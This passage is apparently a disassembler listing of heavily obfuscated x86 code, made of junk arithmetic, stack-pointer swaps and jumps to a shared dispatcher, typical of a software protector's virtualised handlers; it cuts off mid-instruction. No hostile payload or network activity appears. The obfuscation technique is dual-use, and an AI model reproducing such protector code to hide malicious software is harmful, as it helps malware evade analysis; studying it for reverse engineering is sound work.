.XComp0:00595870j mov [esp], edi mov edi, 34C5488Eh dec edi or edi, 736C4A5Ch dec edi add edi, 0C116C11Ch xor ebx, edi pop edi push esi mov esi, 0E4A610C5h jmp loc_58FF5B ; --------------------------------------------------------------------------- loc_590415: ; CODE XREF: .XComp0:0058FBDFj add esi, eax pop eax xchg esi, [esp] pop esp jmp loc_5896BC ; --------------------------------------------------------------------------- loc_590421: ; CODE XREF: .XComp0:0059022Cj add eax, 5001133h jmp loc_58FF70 ; --------------------------------------------------------------------------- loc_59042B: ; CODE XREF: .XComp0:0059773Aj sub esp, 4 jmp loc_58CB27 ; --------------------------------------------------------------------------- loc_590433: ; CODE XREF: .XComp0:00594CE2j add esp, 4 dec eax add eax, 4800420Ch or [edi+1Ch], eax jmp loc_594F08 ; --------------------------------------------------------------------------- loc_590444: ; CODE XREF: .XComp0:0058522Bj mov ebp, 5F0C10F6h shr ebp, 8 push ebp jmp loc_58A726 ; --------------------------------------------------------------------------- loc_590452: ; CODE XREF: .XComp0:0058670Dj xor edx, 673AFF16h jmp loc_589CC6 ; --------------------------------------------------------------------------- loc_59045D: ; CODE XREF: .XComp0:0058B323j mov edx, 41720656h jmp loc_58819E ; --------------------------------------------------------------------------- loc_590467: ; CODE XREF: .XComp0:0058F201j push edx mov edx, 0DC763AFh add ebp, edx mov edx, [esp] add esp, 4 add ebp, 0F206622h sub ebp, 0B2E22AAh add ebp, edx add ebp, 0B2E22AAh push edx mov edx, 64DB4882h dec edx dec edx shr edx, 1 neg edx dec edx xor edx, 0C6357849h xor edx, 48745D4h sub ebp, edx pop edx sub ebp, 0DC763AFh sub ebp, 492A6E0Eh pop edx jmp loc_59187D ; --------------------------------------------------------------------------- loc_5904BA: ; CODE XREF: .XComp0:0058A6FFj push ecx jmp loc_596B45 ; --------------------------------------------------------------------------- loc_5904C0: ; CODE XREF: .XComp0:0058B8C4j mov dl, 0D6h mov ah, 0D4h add ah, dl mov edx, [esp] add esp, 4 jmp loc_598204 ; --------------------------------------------------------------------------- loc_5904D1: ; CODE XREF: .XComp0:00597EA6j push 67BA5669h pop ebp xor ebp, 64472580h xor ebp, 55FC7284h mov edi, ebp pop ebp jmp loc_595651 ; --------------------------------------------------------------------------- loc_5904EB: ; CODE XREF: .XComp0:0058A42Ej sub esp, 4 mov [esp], edx mov dh, 42h jmp loc_586FF8 ; --------------------------------------------------------------------------- loc_5904FB: ; CODE XREF: .XComp0:00589BD2j shr esi, 5 push ecx mov ecx, 266706D4h add ecx, 40EF741Ch xor esi, ecx pop ecx xor esi, 1135B798h add eax, 27A376B6h add eax, esi sub eax, 27A376B6h mov esi, [esp] jmp loc_58B11A ; --------------------------------------------------------------------------- loc_590527: ; CODE XREF: .XComp0:0058654Aj push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_58AFD7 ; --------------------------------------------------------------------------- loc_590548: ; CODE XREF: .XComp0:00595712j mov eax, [esp] add esp, 4 pop ebp push edi push dword ptr [esp+4] jmp loc_597989 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5918AE ; --------------------------------------------------------------------------- loc_59056B: ; CODE XREF: .XComp0:0058B0A2j push 296Eh jmp loc_58FEDD ; --------------------------------------------------------------------------- loc_590575: ; CODE XREF: .XComp0:00593599j push esi jmp loc_58B380 ; --------------------------------------------------------------------------- loc_59057B: ; CODE XREF: .XComp0:0058CD23j xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 push 115Ah jmp loc_5948BE ; --------------------------------------------------------------------------- loc_5905AA: ; CODE XREF: .XComp0:00584C7Ej add esp, 4 xor ebp, 1F1B5FDEh jmp loc_58E7BE ; --------------------------------------------------------------------------- loc_5905BB: ; CODE XREF: .XComp0:0059865Dj xchg ecx, [esp] jmp loc_591F3A ; --------------------------------------------------------------------------- loc_5905C3: ; CODE XREF: .XComp0:005954EBj xchg ecx, [esp] mov esp, [esp] push 2FC7h mov [esp], ebp jmp loc_58EECF ; --------------------------------------------------------------------------- loc_5905D6: ; CODE XREF: .XComp0:0058D5B1j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_590F1F ; --------------------------------------------------------------------------- loc_5905E9: ; CODE XREF: .XComp0:00585A63j pop ebx dec esi shr esi, 8 push eax mov eax, 38413834h jmp loc_58D01B ; --------------------------------------------------------------------------- loc_5905F9: ; CODE XREF: .XComp0:005943E7j add ebp, ebx jmp loc_58E396 ; --------------------------------------------------------------------------- loc_590600: ; CODE XREF: .XComp0:0058D464j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], eax push esp pop eax sub esp, 4 mov [esp], edi mov edi, 93B207Fh sub edi, 4C177152h inc edi shr edi, 8 not edi or edi, 40583B7Ah add edi, 0A5008Ah add eax, edi jmp loc_5919C5 ; --------------------------------------------------------------------------- loc_59063C: ; CODE XREF: .XComp0:0058D650j add esp, 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 push ecx mov ecx, esp push edx mov edx, 0C416351h not edx not edx jmp loc_5895B0 ; --------------------------------------------------------------------------- loc_59065D: ; CODE XREF: .XComp0:005861ECj pop esp mov [esp], ecx jmp loc_58A1B8 ; --------------------------------------------------------------------------- loc_590666: ; CODE XREF: .XComp0:0058DA0Cj xchg edi, ecx not edi xchg edi, ecx jmp loc_589D35 ; --------------------------------------------------------------------------- loc_590671: ; CODE XREF: .XComp0:0058CA30j mov eax, ebx sub esp, 4 jmp loc_58E73B ; --------------------------------------------------------------------------- loc_59067E: ; CODE XREF: .XComp0:0058601Dj not ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_584351 ; --------------------------------------------------------------------------- loc_59069B: ; CODE XREF: .XComp0:0058DEC2j add eax, 4 jmp loc_58C736 ; --------------------------------------------------------------------------- loc_5906A5: ; CODE XREF: .XComp0:00594C03j shr esi, 1 jmp loc_58C581 ; --------------------------------------------------------------------------- loc_5906AC: ; CODE XREF: .XComp0:005957C0j push 5EE7h jmp loc_595082 ; --------------------------------------------------------------------------- loc_5906B6: ; CODE XREF: .XComp0:00593367j add esi, 5DA65AC1h pop ecx sub esi, 412C102Bh jmp loc_58A13E ; --------------------------------------------------------------------------- loc_5906C8: ; CODE XREF: .XComp0:0058B90Aj mov esp, [esp] jmp loc_59497A ; --------------------------------------------------------------------------- loc_5906D0: ; CODE XREF: .XComp0:00589BE9j sub ecx, eax pop eax push ecx jmp loc_58EDE5 ; --------------------------------------------------------------------------- loc_5906D9: ; CODE XREF: .XComp0:005900F1j dec esi add esi, 3277458Ch and esi, 1542170Fh sub esi, 0DBAFE3E3h mov edi, esi pop esi add edi, 602F55CEh sub edi, 1A341B1Dh mov esi, edi pop edi add eax, 7CEE0A3Dh add eax, esi sub eax, 7CEE0A3Dh jmp loc_585493 ; --------------------------------------------------------------------------- loc_59070F: ; CODE XREF: .XComp0:0059490Ej xchg eax, [esp] mov esp, [esp] jmp loc_5965BB ; --------------------------------------------------------------------------- loc_59071A: ; CODE XREF: .XComp0:00591F28j pop ebx pop edx jmp loc_5909D9 ; --------------------------------------------------------------------------- loc_590721: ; CODE XREF: .XComp0:005860C5j mov ebx, [esp] add esp, 4 push edi push eax mov eax, 69D9144Fh mov edi, eax jmp loc_58792E ; --------------------------------------------------------------------------- loc_590735: ; CODE XREF: .XComp0:00584E94j pop esp jmp loc_58A172 ; --------------------------------------------------------------------------- loc_59073B: ; CODE XREF: .XComp0:00591F21j mov ecx, 7A402BF5h dec ecx push ebp mov ebp, 3D3D060Ah not ebp or ebp, 75CD490Ah shr ebp, 3 or ebp, 4B0676E2h sub ebp, 1082E077h and ecx, ebp jmp loc_58D1F5 ; --------------------------------------------------------------------------- loc_590765: ; CODE XREF: .XComp0:00594755j push edi mov edi, 4 add eax, edi jmp loc_593BFA ; --------------------------------------------------------------------------- loc_590772: ; CODE XREF: .XComp0:00587C26j push edi mov edi, 5BE25C37h add ebx, edi jmp loc_590DD7 ; --------------------------------------------------------------------------- loc_59077F: ; CODE XREF: .XComp0:00586FECj mov cl, 0B8h sub bh, cl push dword ptr [esp] jmp loc_593A29 ; --------------------------------------------------------------------------- loc_59078B: ; CODE XREF: .XComp0:00586A67j mov eax, 507C5338h sub eax, 1 neg eax jmp loc_59700B ; --------------------------------------------------------------------------- loc_59079C: ; CODE XREF: .XComp0:0058BC40j add esp, 4 add edi, 4F371ED0h jmp loc_598D66 ; --------------------------------------------------------------------------- loc_5907AA: ; CODE XREF: .XComp0:0058DA87j add esp, 4 add bl, al push ecx push edx mov dh, 9Bh mov cl, dh pop edx jmp loc_5867AC ; --------------------------------------------------------------------------- loc_5907BE: ; CODE XREF: .XComp0:00590147j mov ecx, 2 add edi, ecx jmp loc_585B07 ; --------------------------------------------------------------------------- loc_5907CA: ; CODE XREF: .XComp0:005897A0j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 0 jmp loc_584313 ; --------------------------------------------------------------------------- loc_5907DD: ; CODE XREF: .XComp0:00590DF2j sub edx, 4B0A3AA8h sub ecx, edx mov edx, [esp] add esp, 4 push 740Ah jmp loc_58F634 ; --------------------------------------------------------------------------- loc_5907F8: ; CODE XREF: .XComp0:00597FFAj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_58A011 ; --------------------------------------------------------------------------- loc_590812: ; CODE XREF: .XComp0:00587F24j inc ecx shl ecx, 3 push edx push 5B81310h pop edx push ecx push edi mov edi, 1A2F69EAh xor edi, 724565EAh jmp loc_58953C ; --------------------------------------------------------------------------- loc_59082F: ; CODE XREF: .XComp0:005940F7j mov ebx, 0 add ebx, eax mov [ebx], cl pop ebx jmp loc_58ABFE ; --------------------------------------------------------------------------- loc_59083E: ; CODE XREF: .XComp0:00590FB4j mov ebx, ecx jmp loc_590FE6 ; --------------------------------------------------------------------------- loc_590845: ; CODE XREF: .XComp0:00589CC1j xor ebx, edi push ecx push ebx jmp loc_5840FF ; --------------------------------------------------------------------------- loc_59084E: ; CODE XREF: .XComp0:00596418j push edx mov edx, 4ABA16C0h jmp loc_58F5E5 ; --------------------------------------------------------------------------- loc_590859: ; CODE XREF: .XComp0:005956B6j mov [esp], ebx push edi mov edi, 25E64F49h mov ebx, edi pop edi push esi mov esi, 0 add esi, 4F5A7F32h push edx jmp loc_583E43 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_59500C ; --------------------------------------------------------------------------- loc_590885: ; CODE XREF: .XComp0:0058C27Fj pop eax add esp, 4 add ebp, edi mov edi, [esp] jmp loc_5897DC ; --------------------------------------------------------------------------- loc_590896: ; CODE XREF: .XComp0:005916A1j shl dl, 3 push ebx mov bh, 0FFh sub dl, bh pop ebx xor dl, ah xor ah, dl xor dl, ah sub ah, 1 jmp loc_58D587 ; --------------------------------------------------------------------------- loc_5908AD: ; CODE XREF: .XComp0:005844D5j mov al, dh push dword ptr [esp] jmp loc_586E7B ; --------------------------------------------------------------------------- loc_5908B7: ; CODE XREF: .XComp0:0058FD35j dec ecx xchg ecx, edi sub edi, 1FAA48AFh jmp loc_58A006 ; --------------------------------------------------------------------------- loc_5908C5: ; CODE XREF: .XComp0:00585BABj pop edx add esp, 4 add esi, 2 jmp loc_58B433 ; --------------------------------------------------------------------------- loc_5908D4: ; CODE XREF: .XComp0:00589CECj pop ecx not ah jmp loc_592492 ; --------------------------------------------------------------------------- loc_5908DC: ; CODE XREF: .XComp0:00597A9Fj mov [esp], ecx mov ecx, 47AC3159h xor eax, ecx jmp loc_58B5CF ; --------------------------------------------------------------------------- loc_5908EB: ; CODE XREF: .XComp0:00596E59j pop esp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_593CCD ; --------------------------------------------------------------------------- loc_59090C: ; CODE XREF: .XComp0:00595719j pop ebp or ecx, eax pop eax sub esp, 4 jmp loc_5900C9 ; --------------------------------------------------------------------------- loc_59091B: ; CODE XREF: .XComp0:00590D36j xchg ecx, [esp] pop esp push dword ptr [edi+24h] inc dword ptr [esp] jmp loc_58D6EC ; --------------------------------------------------------------------------- loc_59092A: ; CODE XREF: .XComp0:00598289j dec edx jmp loc_597EAB ; --------------------------------------------------------------------------- loc_590930: ; CODE XREF: .XComp0:00585B5Fj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 add edi, 2 xchg edi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590954: ; CODE XREF: .XComp0:0058BF1Ej add esp, 4 mov ebx, [esp] add esp, 4 pop ebx push 709Ch mov [esp], esi push edi mov edi, 507B2660h push ebp mov ebp, 7DA26CE6h add ebp, 0A673BD50h xor edi, ebp pop ebp push esi mov esi, 6C043DC9h add edi, esi mov esi, [esp] jmp loc_594D1C ; --------------------------------------------------------------------------- loc_59098E: ; CODE XREF: .XComp0:00587684j push dword ptr [esp] pop edi push 56A1h mov [esp], edx push esp mov edx, [esp] add esp, 4 push eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_595AF5 ; --------------------------------------------------------------------------- loc_5909C6: ; CODE XREF: .XComp0:00594BDFj push dword ptr [edx] mov ecx, [esp] push edi push esp pop edi add edi, 4 jmp loc_58B95D ; --------------------------------------------------------------------------- loc_5909D9: ; CODE XREF: .XComp0:0059071Cj mov ebx, [esp] jmp loc_590009 ; --------------------------------------------------------------------------- loc_5909E1: ; CODE XREF: .XComp0:00587092j mov edx, 31AE7B0Dh sub ecx, edx pop edx jmp loc_584334 ; --------------------------------------------------------------------------- loc_5909EE: ; CODE XREF: .XComp0:0058B753j pop dword ptr [esp] pop esp push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_587981 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590A1E: ; CODE XREF: .XComp0:0058EBCEj sub ebx, edx mov edx, [esp] add esp, 4 add ebx, 0FC842A03h sub esp, 4 mov [esp], eax push ebp mov ebp, ebx mov eax, ebp jmp loc_58A4C5 ; --------------------------------------------------------------------------- loc_590A3C: ; CODE XREF: .XComp0:00584A89j pop ebp push edx jmp loc_584B45 ; --------------------------------------------------------------------------- loc_590A43: ; CODE XREF: .XComp0:0059304Dj pop esp add eax, 4 xchg eax, [esp] pop esp jmp loc_58CBFA ; --------------------------------------------------------------------------- loc_590A52: ; CODE XREF: .XComp0:00592856j shr eax, 7 add eax, 3BF8273Fh jmp loc_593452 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590A66: ; CODE XREF: .XComp0:0058A0EBj add esp, 4 or eax, eax jz loc_590057 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], edx jmp loc_5978A8 ; --------------------------------------------------------------------------- loc_590A85: ; CODE XREF: .XComp0:0058BDFDj mov edx, [esp] add esp, 4 push ebp jmp loc_58A5EF ; --------------------------------------------------------------------------- loc_590A94: ; CODE XREF: .XComp0:005912DBj xor [esp], edi xor edi, [esp] pop esp jmp loc_584862 ; --------------------------------------------------------------------------- loc_590AA0: ; CODE XREF: .XComp0:00598089j sub esi, ebp pop ebp push ebp mov ebp, 30C9101Eh xor ebp, 5E7C129Fh jmp loc_598EED ; --------------------------------------------------------------------------- loc_590AB4: ; CODE XREF: .XComp0:0058B730j xor ecx, 0E3A78538h jmp loc_597FC9 ; --------------------------------------------------------------------------- loc_590ABF: ; CODE XREF: .XComp0:0058D8BFj add [esp+2], si jmp loc_58C7BA ; --------------------------------------------------------------------------- loc_590AC9: ; CODE XREF: .XComp0:0058CCDFj mov [esp], esp jmp loc_588DC5 ; --------------------------------------------------------------------------- loc_590AD1: ; CODE XREF: .XComp0:00588ABCj xchg ecx, [esp] pop esp jmp loc_595385 ; --------------------------------------------------------------------------- loc_590ADA: ; CODE XREF: .XComp0:0058A319j pop ebp shl ebp, 2 jmp loc_58FEE7 ; --------------------------------------------------------------------------- loc_590AE3: ; CODE XREF: .XComp0:0058ABABj push esp pop ecx add ecx, 4 jmp loc_593319 ; --------------------------------------------------------------------------- loc_590AF0: ; CODE XREF: .XComp0:0058739Ej mov [esp], esi jmp loc_587490 ; --------------------------------------------------------------------------- loc_590AF8: ; CODE XREF: .XComp0:005898F6j add dword ptr [esp+4], 6DBC2943h sub [esp+4], ebp sub dword ptr [esp+4], 6DBC2943h jmp loc_592819 ; --------------------------------------------------------------------------- loc_590B11: ; CODE XREF: .XComp0:00594D3Fj mov dh, 0FDh or dh, 89h neg dh and dh, 69h sub dh, 0FFh jmp loc_58C3C7 ; --------------------------------------------------------------------------- loc_590B23: ; CODE XREF: .XComp0:005868B8j mov esi, 7B9B239Fh xor esi, 470C68BAh add esi, 6D322028h add ebx, esi mov esi, [esp] jmp loc_5873D3 ; --------------------------------------------------------------------------- loc_590B3E: ; CODE XREF: .XComp0:0058D6CEj add bl, ah add bl, 6Dh add bl, 47h mov ax, [esp] add esp, 2 jmp loc_591FAC ; --------------------------------------------------------------------------- loc_590B55: ; CODE XREF: .XComp0:0058B6B0j add ecx, 2 jmp loc_58D3AA ; --------------------------------------------------------------------------- loc_590B60: ; CODE XREF: .XComp0:005942E7j add ebp, eax mov eax, [esp] push 5118h mov [esp], eax jmp loc_58D561 ; --------------------------------------------------------------------------- loc_590B72: ; CODE XREF: .XComp0:0058A063j mov ecx, [esp] add esp, 4 push edx mov edx, esp push eax mov eax, 4 jmp loc_5860A8 ; --------------------------------------------------------------------------- loc_590B89: ; CODE XREF: .XComp0:0058CB73j xor ebx, 67414C5Eh jmp loc_5937C3 ; --------------------------------------------------------------------------- lodsb push ebx mov bh, 84h and bh, 59h push bx not byte ptr [esp+1] pop bx add bh, 42h push ecx mov ch, 93h jmp loc_588CEB ; --------------------------------------------------------------------------- loc_590BAE: ; CODE XREF: .XComp0:00595A9Aj shr esi, 6 not esi neg esi neg esi xor esi, 37035148h add esi, 8C59FEEFh mov edx, esi jmp loc_58E13E ; --------------------------------------------------------------------------- loc_590BCA: ; CODE XREF: .XComp0:0058AED9j mov [esp], ebx jmp loc_598B9C ; --------------------------------------------------------------------------- loc_590BD2: ; CODE XREF: .XComp0:00587A22j push edx mov edx, 0B8F3837h jmp loc_597CDD ; --------------------------------------------------------------------------- loc_590BDD: ; CODE XREF: .XComp0:005968AAj mov ebx, 0B5431260h jmp loc_58FE5D ; --------------------------------------------------------------------------- loc_590BE7: ; CODE XREF: .XComp0:0058C9B9j shr ebp, 7 or ebp, 2775DD8h xor ebp, 3DB3BE2Fh mov ebx, ebp pop ebp jmp loc_58A96A ; --------------------------------------------------------------------------- loc_590BFE: ; CODE XREF: .XComp0:00585F56j sub ebx, ebp sub ebx, 2E896EC9h mov ebp, [esp] add esp, 4 pop edx push 2ABBh mov [esp], edi jmp loc_5949BC ; --------------------------------------------------------------------------- loc_590C1D: ; CODE XREF: .XComp0:00586CF4j pop ebp push ecx jmp loc_586E1A ; --------------------------------------------------------------------------- loc_590C24: ; CODE XREF: .XComp0:00587A4Cj add esp, 2 push edi mov edi, esp jmp loc_595844 ; --------------------------------------------------------------------------- loc_590C32: ; CODE XREF: .XComp0:0058F290j push ecx jmp loc_5930D4 ; --------------------------------------------------------------------------- loc_590C38: ; CODE XREF: .XComp0:005916A9j push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_58B38D ; --------------------------------------------------------------------------- loc_590C44: ; CODE XREF: .XComp0:00589E29j add esp, 4 add esp, 4 push 0 sub byte ptr [esp], 73h sub byte ptr [esp], 35h jmp loc_58B4D0 ; --------------------------------------------------------------------------- loc_590C5F: ; CODE XREF: .XComp0:00595F03j not edi xchg edi, ebx xor ebx, 49980C24h add esi, ebx jmp loc_592B86 ; --------------------------------------------------------------------------- loc_590C70: ; CODE XREF: .XComp0:00598450j pop esi push ecx push 0A9C448Dh mov ecx, [esp] add esp, 4 inc ecx xchg ebx, ecx not ebx jmp loc_596D6A ; --------------------------------------------------------------------------- loc_590C8A: ; CODE XREF: .XComp0:0058CCFBj add ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590C9C: ; CODE XREF: .XComp0:00584856j push edi jmp loc_588317 ; --------------------------------------------------------------------------- loc_590CA2: ; CODE XREF: .XComp0:00598293j shr ebx, 8 and ebx, 2BB3B21h add ebx, 0CD1B6552h sub edi, ebx jmp loc_5915E9 ; --------------------------------------------------------------------------- loc_590CB8: ; CODE XREF: .XComp0:0058C956j xor esi, [esp] pop esp mov [esp], esp jmp loc_5922BD ; --------------------------------------------------------------------------- loc_590CC4: ; CODE XREF: .XComp0:00592BE5j mov ebp, 1 add edi, ebp mov ebp, [esp] add esp, 4 push edx jmp loc_5843F5 ; --------------------------------------------------------------------------- loc_590CDA: ; CODE XREF: .XComp0:005986E3j mov ebp, 0D621EEA3h sub esi, ebp jmp loc_5946E0 ; --------------------------------------------------------------------------- loc_590CE6: ; CODE XREF: .XComp0:0058D2B0j add ebx, 406E3703h sub ebx, edx sub ebx, 406E3703h push edi push ebp jmp loc_585421 ; --------------------------------------------------------------------------- loc_590CFB: ; CODE XREF: .XComp0:00588709j mov ebp, 89617Bh xor esi, ebp pop ebp jmp loc_598F76 ; --------------------------------------------------------------------------- loc_590D08: ; CODE XREF: .XComp0:00594FF0j sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 0AB64D79h push ecx push ebp mov ebp, 3DA74398h mov ecx, ebp jmp loc_58A101 ; --------------------------------------------------------------------------- loc_590D27: ; CODE XREF: .XComp0:0058CA63j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59091B ; --------------------------------------------------------------------------- loc_590D3B: ; CODE XREF: .XComp0:0058CBD2j pop ecx xor edi, eax mov eax, [esp] jmp loc_5947BA ; --------------------------------------------------------------------------- loc_590D46: ; CODE XREF: .XComp0:0058C080j xor ebp, 2066250Fh sub ebp, 1 push ebx push esi push 60ED01ACh jmp loc_598543 ; --------------------------------------------------------------------------- loc_590D5E: ; CODE XREF: .XComp0:0058BBE3j pop edi add eax, 6B2B605Fh sub eax, ebp jmp loc_584BA5 ; --------------------------------------------------------------------------- loc_590D6B: ; CODE XREF: .XComp0:00596B40j add eax, 3439469Ah jmp loc_586105 ; --------------------------------------------------------------------------- loc_590D75: ; CODE XREF: .XComp0:00595A58j pop dword ptr [esp] pop esp add edi, 4 push 200h mov [esp], ecx mov ecx, 2 add edi, ecx jmp loc_588FD3 ; --------------------------------------------------------------------------- loc_590D93: ; CODE XREF: .XComp0:005842EEj xor eax, ecx xor eax, ecx jmp loc_588B5E ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_58C40F ; --------------------------------------------------------------------------- loc_590DA5: ; CODE XREF: .XComp0:00585848j add eax, 313872B3h jmp loc_585128 ; --------------------------------------------------------------------------- loc_590DAF: ; CODE XREF: .XComp0:00587780j sub al, cl push ecx mov ch, 0AEh jmp loc_5922E9 ; --------------------------------------------------------------------------- loc_590DB9: ; CODE XREF: .XComp0:005846DAj add esi, edi jmp loc_589EB5 ; --------------------------------------------------------------------------- loc_590DC0: ; CODE XREF: .XComp0:0058FF6Bj pop esi mov esi, [esp] add esp, 4 and eax, ebx pop ebx shr eax, 10h xor eax, ecx jmp loc_58D0F9 ; --------------------------------------------------------------------------- loc_590DD7: ; CODE XREF: .XComp0:0059077Aj pop edi mov edx, [esp] push esi push esp jmp loc_58CD52 ; --------------------------------------------------------------------------- loc_590DE2: ; CODE XREF: .XComp0:0058480Bj xor esi, 5298220Bh sub edx, esi pop esi sub edx, 18044D52h dec edx jmp loc_5907DD ; --------------------------------------------------------------------------- loc_590DF7: ; CODE XREF: .XComp0:005900C4j add edx, 4 jmp loc_59775E ; --------------------------------------------------------------------------- loc_590E02: ; CODE XREF: .XComp0:0058AF16j mov [esp], ebp mov ebp, 4 sub esi, 1D88379Ch add esi, ebp push edx push ebp jmp loc_58E96E ; --------------------------------------------------------------------------- loc_590E19: ; CODE XREF: .XComp0:005949D2j add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590E43: ; CODE XREF: .XComp0:005952BAj add esp, 4 push ebx push esp push dword ptr [esp] jmp loc_59549A ; --------------------------------------------------------------------------- loc_590E50: ; CODE XREF: .XComp0:00597A01j push 1310h mov [esp], ebx sub esp, 4 jmp loc_5887B0 ; --------------------------------------------------------------------------- loc_590E63: ; CODE XREF: .XComp0:0058D621j mov esi, 9998274Dh jmp loc_58B81E ; --------------------------------------------------------------------------- loc_590E6D: ; CODE XREF: .XComp0:005886E9j push eax mov eax, 5F002B49h dec eax and eax, 7B5C7CEDh jmp loc_58A366 ; --------------------------------------------------------------------------- loc_590E7E: ; CODE XREF: .XComp0:0058B931j pop esp mov [esp], esi mov esi, esp jmp loc_58B5BE ; --------------------------------------------------------------------------- loc_590E89: ; CODE XREF: .XComp0:00596560j add edx, 4 push ecx mov ecx, 4 add edx, ecx pop ecx push edx push dword ptr [esp+4] jmp loc_58475D ; --------------------------------------------------------------------------- loc_590EA2: ; CODE XREF: .XComp0:00591BFDj sub al, bl push bx jmp loc_58DE97 ; --------------------------------------------------------------------------- loc_590EAB: ; CODE XREF: .XComp0:005874B7j mov ebx, edx jmp loc_58F1BD ; --------------------------------------------------------------------------- loc_590EB2: ; CODE XREF: .XComp0:0058A89Bj mov [esp], ecx push ebx mov bh, 16h mov ch, bh pop ebx xor dl, ch pop ecx jmp loc_58520F ; --------------------------------------------------------------------------- lodsb push ecx jmp loc_593549 ; --------------------------------------------------------------------------- loc_590ECA: ; CODE XREF: .XComp0:00593EAFj push esi sub esp, 4 mov [esp], ecx jmp loc_5860CA ; --------------------------------------------------------------------------- loc_590ED6: ; CODE XREF: .XComp0:00589F10j push 0 sub [esp], esi pop esi sub esi, 0C84BF279h add edi, esi mov esi, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, 21FA571Dh shr esi, 7 add esi, 0FFFFFFFFh xor esi, 63F4ADh and eax, esi mov esi, [esp] jmp loc_58BC94 ; --------------------------------------------------------------------------- loc_590F18: ; CODE XREF: .XComp0:00594694j mov ah, cl jmp loc_5886EE ; --------------------------------------------------------------------------- loc_590F1F: ; CODE XREF: .XComp0:005905E4j xchg edi, [esp] pop esp push ecx sub esp, 4 mov [esp], esi jmp loc_5913AC ; --------------------------------------------------------------------------- loc_590F32: ; CODE XREF: .XComp0:0058FE0Bj pop ecx add esp, 4 jmp loc_585FC7 ; --------------------------------------------------------------------------- loc_590F3B: ; CODE XREF: .XComp0:0058742Bj not esi or esi, 16052807h xor esi, 0FFFFFFFBh add eax, esi pop esi add eax, 4 jmp loc_585078 ; --------------------------------------------------------------------------- loc_590F54: ; CODE XREF: .XComp0:0058A549j xor edx, ebx pop ebx xor ebx, edx jmp loc_5966CC ; --------------------------------------------------------------------------- loc_590F5E: ; CODE XREF: .XComp0:00595787j push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_597643 ; --------------------------------------------------------------------------- loc_590F77: ; CODE XREF: .XComp0:005978E9j mov esp, [esp] cmp ecx, eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590F82: ; CODE XREF: .XComp0:0059148Cj pop ecx push eax push ebx mov ebx, esp push edi jmp loc_58E214 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_5974A2 ; --------------------------------------------------------------------------- loc_590F95: ; CODE XREF: .XComp0:005847A7j and eax, 558375A2h not eax shr eax, 1 jmp loc_58EEA5 ; --------------------------------------------------------------------------- loc_590FA3: ; CODE XREF: .XComp0:0058FD62j not ecx jmp loc_592A84 ; --------------------------------------------------------------------------- loc_590FAA: ; CODE XREF: .XComp0:005982BCj sub edi, ebp pop ebp retn ; --------------------------------------------------------------------------- jmp loc_583A60 ; --------------------------------------------------------------------------- loc_590FB3: ; CODE XREF: .XComp0:0058EBB6j pop eax jmp loc_59083E ; --------------------------------------------------------------------------- loc_590FB9: ; CODE XREF: .XComp0:00593C32j xor [esp], eax not eax jmp loc_5975D8 ; --------------------------------------------------------------------------- loc_590FC3: ; CODE XREF: .XComp0:00595DC7j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_584695 ; --------------------------------------------------------------------------- loc_590FDA: ; CODE XREF: .XComp0:0059033Bj add esp, 4 mov ebx, [esp] push ecx jmp loc_591390 ; --------------------------------------------------------------------------- loc_590FE6: ; CODE XREF: .XComp0:00590840j pop ecx shr ebx, 3 push esi mov esi, 35904327h push ebx mov ebx, 43B779E2h jmp loc_5976DE ; --------------------------------------------------------------------------- loc_590FFB: ; CODE XREF: .XComp0:0058F000j add esp, 4 jmp loc_586A36 ; --------------------------------------------------------------------------- loc_591003: ; CODE XREF: .XComp0:00588234j sub ch, 0FDh push ax mov al, 60h jmp loc_5853AB ; --------------------------------------------------------------------------- loc_59100F: ; CODE XREF: .XComp0:00593FD5j mov 